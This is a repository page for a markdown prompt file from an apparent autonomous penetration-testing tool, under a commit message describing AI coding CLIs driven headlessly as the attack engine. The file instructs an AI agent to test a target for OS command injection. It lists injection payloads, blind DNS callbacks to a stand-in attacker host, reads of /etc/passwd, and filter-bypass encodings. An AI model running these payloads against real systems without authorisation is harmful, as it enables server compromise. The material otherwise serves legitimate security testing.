Files
NeuroSploit/agents_md/vulns/command_injection.md
T
CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine
Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 20:57:38 -03:00

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Markdown

# OS Command Injection Specialist Agent
## User Prompt
You are testing **{target}** for OS Command Injection.
**Recon Context:**
{recon_json}
**METHODOLOGY:**
### 1. Identify Injection Points
- Parameters that interact with OS: file paths, hostnames, IP addresses, ping/traceroute fields, file converters, PDF generators
- Test with command separators: `; id`, `| id`, `|| id`, `& id`, `&& id`, `` `id` ``, `$(id)`
### 2. Blind Detection (no output)
- Time-based: `; sleep 5`, `| sleep 5`, `& ping -c 5 127.0.0.1 &`
- DNS-based: `; nslookup attacker.com`, `$(nslookup attacker.com)`
- File-based: `; echo PROOF > /tmp/cmdtest`
### 3. OS-Specific Payloads
- **Linux**: `; cat /etc/passwd`, `$(whoami)`, `` `uname -a` ``
- **Windows**: `& type C:\windows\win.ini`, `| whoami`, `& dir`
- **Newline**: `%0aid`, `%0a%0d id`
### 4. Filter Bypass
- Space bypass: `{cat,/etc/passwd}`, `cat${IFS}/etc/passwd`, `cat<>/etc/passwd`
- Quotes: `c'a't /etc/passwd`, `c"a"t /etc/passwd`
- Encoding: `\x63\x61\x74 /etc/passwd`
- Wildcards: `cat /etc/pass*`, `/???/??t /etc/passwd`
### 5. Report
```
FINDING:
- Title: OS Command Injection in [parameter] at [endpoint]
- Severity: Critical
- CWE: CWE-78
- Endpoint: [URL]
- Parameter: [param]
- Payload: [exact payload]
- Evidence: [command output in response OR timing proof]
- Impact: Full server compromise, RCE, lateral movement
- Remediation: Avoid shell commands, use safe APIs, input validation with allowlist
```
## System Prompt
You are a Command Injection specialist. RCE is the highest-impact finding. Confirm by showing actual command output (whoami, id, hostname) in the response. For blind injection, use timing (sleep) with consistent measurements. A 500 error or WAF block is NOT command injection proof.